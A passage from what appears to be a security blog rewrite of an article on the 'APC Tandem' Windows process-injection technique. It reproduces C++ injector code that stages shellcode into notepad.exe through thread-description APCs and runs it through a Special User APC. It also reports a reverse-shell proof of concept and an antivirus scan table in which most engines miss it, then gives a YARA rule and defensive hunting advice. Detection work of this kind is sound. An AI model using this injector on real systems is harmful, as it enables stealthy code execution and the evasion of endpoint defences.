  // 3. Queue APC #1: Force the process to allocate the description and write the address to remotePtr
  if (!_NtQueueApcThreadEx2(hThread, GetThreadDescription, (void*)NtCurrentThread(), remotePtr, nullptr)) {
   std::cerr << "Failed to queue GetThreadDescription APC\n";
   return nullptr;
  }

  // Important: Wait for the APC to execute.
  Sleep(10000);

  // 4. Read where the OS stored our chunk (ReadProcessMemory)
  ULONG_PTR realPayloadPtr = 0;

  // Your retry logic would go here if needed...
  if (!ReadProcessMemory(hProcess, remotePtr, &realPayloadPtr, sizeof(realPayloadPtr), nullptr)) {
   std::cerr << "Failed to read ptr inside loop. GLE: " << GetLastError() << "\n";
   return nullptr;
  }

  if (!realPayloadPtr) {
   std::cerr << "Ptr is NULL inside loop.\n";
   return nullptr;
  }

  // 5. Queue APC #2: Move memory from description (realPayloadPtr) to final destination (rwx + offset)
  if (!_NtQueueApcThreadEx2(hThread, pRtlMoveMemory, currentRemoteDest, (void*)realPayloadPtr, (void*)currentChunkSize)) {
   std::cerr << "Failed to queue memcpy APC\n";
   return nullptr;
  }

  // Advance counters
  bytesWritten += currentChunkSize;

  // Small pause to ensure memcpy happens before overwriting description next iteration
  Sleep(1000);
 }

 std::cout << "[+] All chunks staged. Waiting for nexts steps..." << std::endl;

 // Optional final sleep
 Sleep(5000);
 // Return the base RWX address (realPayloadPtr changes each iteration so it's not valid at the end)
 return rwx;
}

ULONG_PTR GetRemotePEBAddr(IN HANDLE hProcess)
{
 PROCESS_BASIC_INFORMATION pi = { 0 };
 DWORD ReturnLength = 0;

 auto pNtQueryInformationProcess = reinterpret_cast<decltype(&NtQueryInformationProcess)>(GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryInformationProcess"));
 if (!pNtQueryInformationProcess) {
  return NULL;
 }
 NTSTATUS status = pNtQueryInformationProcess(
  hProcess,
  ProcessBasicInformation,
  &pi,
  sizeof(PROCESS_BASIC_INFORMATION),
  &ReturnLength
 );
 return (ULONG_PTR)pi.PebBaseAddress;
}

void* getPEBUnused(HANDLE hProcess)
{
 ULONG_PTR peb_addr = GetRemotePEBAddr(hProcess);
 if (!peb_addr) {
  std::cerr << "Cannot retrieve PEB address!\n";
  return nullptr;
 }
 const ULONG_PTR UNUSED_OFFSET = 0x340;
 const ULONG_PTR remotePtr = peb_addr + UNUSED_OFFSET;
 return (void*)remotePtr;
}

int main(){
    DWORD pid = getPIDbyProcName("notepad.exe");
 // 1- OpenProcess (lowest permissions)
    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

 // 2- Find RWX
    LPVOID rwx = FindRWX(hProc, sizeof(shellcode));
 if (rwx == 0) {
  rwx = VirtualAllocEx(hProc, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  if (rwx == 0) cout << "Error allocating space " << GetLastError() << endl;
 }

 // 3- Custom Write with APCs
 void* remotePtr = getPEBUnused(hProc);
 if (!remotePtr) {
  return 1;
 }

 HANDLE hThread = GetThreadIdByProcess(hProc);
 LPVOID writtenAddress = CustomWriteProcessMemory(hProc, shellcode, sizeof(shellcode), remotePtr, hThread, rwx);

 // 4- Special User APC
 BOOL res = _NtQueueApcThreadEx2(hThread, rwx, NULL, NULL, NULL);
 if (res) {
  cout << "APC Queued" << endl;
 }
}

Proof of Concept

The author demonstrates the technique on Windows 11, injecting a 1204-byte Stardust reverse-shell payload into a freshly-launched notepad.exe. The screenshot below shows the injector running and the reverse shell connecting back successfully:

Screenshot of the APC Tandem primitive injection proof of concept running on Windows 11
APC Tandem PoC executing on Windows 11. Source: original article.

Detection

The technique does the bulk of its damage in two ways: by replacing the loud primitives (WriteProcessMemory, CreateRemoteThread, sometimes VirtualAllocEx) with quieter equivalents, and by avoiding any single API call that would on its own be enough to fire a detection. To detect it you need either deep behavioural sequence analysis or signature-style matching on the technique’s fingerprint.

Kleenscan

The author’s own scan results — taken on 2026-05-19 — show that the vast majority of AV engines did not detect the compiled PoC; only CrowdStrike flagged it (as a generic threat) and Ikarus produced a heuristic Trojan-Downloader.Win64.Agent hit:

[*] Antivirus Scan Results:

  - alyac                | Status: ok         | Flag: Undetected                     | Updated: 2026-05-19
  - amiti                | Status: ok         | Flag: Undetected                     | Updated: 2026-05-19
  - arcabit              | Status: ok         | Flag: Undetected                     | Updated: 2026-05-19
  - avast                | Status: ok         | Flag: Undetected                     | Updated: 2026-05-19
  - avg                  | Status: ok         | Flag: Undetected                     | Updated: 2026-05-19
  - avira                | Status: scanning   | Flag: Scanning results incomplete    | Updated: 2026-05-19
  - bullguard            | Status: ok         | Flag: Undetected                     | Updated: 2026-05-19
  - clamav               | Status: ok         | Flag: Undetected                     | Updated: 2026-05-19
  - comodolinux          | Status: ok         | Flag: Undetected                     | Updated: 2026-05-19
  - crowdstrike          | Status: ok         | Flag: Threat Detected                | Updated: 2026-05-19
  - drweb                | Status: ok         | Flag: Undetected                     | Updated: 2026-05-19
  - emsisoft             | Status: ok         | Flag: Undetected                     | Updated: 2026-05-19
  - escan                | Status: ok         | Flag: Undetected                     | Updated: 2026-05-19
  - fprot                | Status: ok         | Flag: Undetected                     | Updated: 2026-05-19
  - fsecure              | Status: ok         | Flag: Undetected                     | Updated: 2026-05-19
  - gdata                | Status: ok         | Flag: Undetected                     | Updated: 2026-05-19
  - ikarus               | Status: ok         | Flag: Trojan-Downloader.Win64.Agent  | Updated: 2026-05-19
  - immunet              | Status: ok         | Flag: Undetected                     | Updated: 2026-05-19
  - kaspersky            | Status: failed     | Flag: Scanning results incomplete    | Updated: 2026-05-19
  - maxsecure            | Status: ok         | Flag: Undetected                     | Updated: 2026-05-19
  - mcafee               | Status: ok         | Flag: Undetected                     | Updated: 2026-05-19
  - microsoftdefender    | Status: ok         | Flag: Undetected                     | Updated: 2026-05-19
  - nano                 | Status: ok         | Flag: Undetected                     | Updated: 2026-05-19
  - nod32                | Status: ok         | Flag: Undetected                     | Updated: 2026-05-19
  - norman               | Status: ok         | Flag: Undetected                     | Updated: 2026-05-19
  - secureageapex        | Status: scanning   | Flag: Scanning results incomplete    | Updated: 2026-05-19
  - seqrite              | Status: ok         | Flag: Undetected                     | Updated: 2026-05-19
  - sophos               | Status: ok         | Flag: Undetected                     | Updated: 2026-05-19
  - threatdown           | Status: ok         | Flag: Undetected                     | Updated: 2026-05-19
  - trendmicro           | Status: ok         | Flag: Undetected                     | Updated: 2026-05-19
  - vba32                | Status: ok         | Flag: Undetected                     | Updated: 2026-05-19
  - virusfighter         | Status: ok         | Flag: Undetected                     | Updated: 2026-05-19
  - xvirus               | Status: ok         | Flag: Undetected                     | Updated: 2026-05-19
  - zillya               | Status: ok         | Flag: Undetected                     | Updated: 2026-05-19
  - zonealarm            | Status: ok         | Flag: Undetected                     | Updated: 2026-05-19
  - zoner                | Status: ok         | Flag: Undetected                     | Updated: 2026-05-19

YARA

The author also published a YARA rule that targets the technique pattern rather than a specific PoC binary — looking for the API triplet (NtQueueApcThreadEx2 + GetThreadDescription + NtSetInformationThread) combined with one of the technique’s tell-tale immediates (the ThreadNameInformation class id 0x26, the chunk-size constants 0xF000 / 0xC000 / 0x8000, or the QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC string literal):

rule APC_Tandem_Primitive_Injection
{
    meta:
        author      = "0x12 Dark Development"
        date        = "2026-05-20"
        version     = "1.0"
        description = "Detects 'APC Tandem' style primitive injection: shellcode smuggled into a remote process via NtSetInformationThread(ThreadNameInformation) + GetThreadDescription APC + RtlMoveMemory APC, then executed through a Special User APC (NtQueueApcThreadEx2). Written to catch the technique pattern in general, not a single PoC."
        category    = "process_injection"
        mitre       = "T1055"
        severity    = "high"

    strings:
        // --- Defining API triplet of the technique ---
        $api_apc_ex2     = "NtQueueApcThreadEx2"         ascii wide
        $api_get_desc    = "GetThreadDescription"        ascii wide
        $api_set_thread  = "NtSetInformationThread"      ascii wide

        // --- Supporting APIs commonly seen in the chain ---
        $api_rtl_move    = "RtlMoveMemory"               ascii wide
        $api_rtl_init    = "RtlInitUnicodeStringEx"      ascii wide
        $api_nt_query    = "NtQueryInformationProcess"   ascii wide
        $api_rpm         = "ReadProcessMemory"           ascii wide

        // --- ThreadNameInformation class id (0x26) loaded as an immediate ---
        $tni_b8          = { B8 26 00 00 00 }            // mov eax, 0x26
        $tni_b9          = { B9 26 00 00 00 }            // mov ecx, 0x26
        $tni_ba          = { BA 26 00 00 00 }            // mov edx, 0x26
        $tni_push        = { 6A 26 }                     // push 0x26
        $tni_mov_mem     = { C7 [1-6] 26 00 00 00 }      // mov dword [mem], 0x26

        // --- Special User APC flag literal when symbol name is kept ---
        $special_flag_lit = "QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC" ascii

        // --- Chunk-size constants forced by the 16-bit Length field of UNICODE_STRING ---
        $chunk_F000  = { B8 00 F0 00 00 }                // mov eax, 0xF000
        $chunk_C000  = { B8 00 C0 00 00 }                // mov eax, 0xC000
        $chunk_8000  = { B8 00 80 00 00 }                // mov eax, 0x8000

    condition:
        uint16(0) == 0x5A4D
        and filesize < 20MB
        and all of ($api_apc_ex2, $api_get_desc, $api_set_thread)
        and (
            any of ($tni_*)
            or any of ($chunk_*)
            or $special_flag_lit
            or 2 of ($api_rtl_move, $api_rtl_init, $api_nt_query, $api_rpm)
        )
}

Key Takeaways

  • Static-API-list detections are no longer sufficient. The “loud” injection primitives have well-understood quieter equivalents that satisfy the same logical steps.
  • The thread description field, accessible through NtSetInformationThread(ThreadNameInformation, 0x26), is an under-documented arbitrary-bytes channel into a remote process that survives until overwritten.
  • NtQueueApcThreadEx2 with QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC is the modern preferred execution trigger: it works against non-alertable threads and replaces the need for CreateRemoteThread entirely.
  • The UNICODE_STRING.Length 16-bit cap forces chunked writes — those chunk-size constants (0xF000, 0xC000, 0x8000) become a fingerprint and feed the detection rule above.
  • The PEB offset +0x340, currently unused by the loader, makes a convenient one-pointer inter-process mailbox without needing to allocate writable memory in the target.
  • Public Kleenscan/VT-class scanners did not flag the technique on first release; do not rely on signature scanners as primary detection for primitive-chaining injection.

Defensive Recommendations

  • Behavioural detection on the triplet, not single calls. Hunt for the combination of NtSetInformationThread(ThreadNameInformation) + NtQueueApcThreadEx2 + GetThreadDescription in the same process within a short time window. Each in isolation is benign; together they are the technique.
  • Deploy the author’s YARA rule (above) on your EDR YARA scan path and on any artefact upload pipeline. It is intentionally pattern-broad rather than PoC-specific.
  • Monitor NtQueueApcThreadEx2 with the QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC flag — this flag value is rare in benign software and is the technique’s execution trigger.
  • Watch for VirtualQueryEx sweeps of remote processes from non-debugger, non-AV software. The RWX-region search is a strong pre-injection signal.
  • Reduce the available RWX surface in long-lived processes (browsers, office suites, EDR agents themselves). Many of the RWX regions FindRWX targets exist because of JIT or legacy plug-in support; constraining or sandboxing those reduces injectability.
  • Audit NtSetInformationThread with ThreadInformationClass == 0x26. Telemetry on this specific class is light in many EDR products; add it explicitly.
  • Map this technique to MITRE ATT&CK T1055 (Process Injection) in your detection coverage matrix; it is functionally a new sub-technique on the same family tree as Atom Bombing and Early Bird APC.

Conclusion

APC Tandem is a clean example of the direction process injection has been moving for several years: instead of inventing exotic memory primitives, attackers compose well-documented but lightly-watched ones into a chain that reproduces the classical four-step injection skeleton without ever touching the four classical APIs everyone hooks. The technique deserves to be on every Windows-focused defender’s detection coverage matrix, and the author’s published YARA rule is a solid starting point.

Full credit for the original technique, reference implementation, PoC screenshot, Kleenscan output, and YARA detection rule goes to S12 — 0x12Dark Development in the Medium article “Primitive Process Injection: APC Tandem”. The article on this site is an original English rewrite of the explanatory prose with all code, screenshots and detection content reproduced verbatim from the source with attribution.

Comments are closed.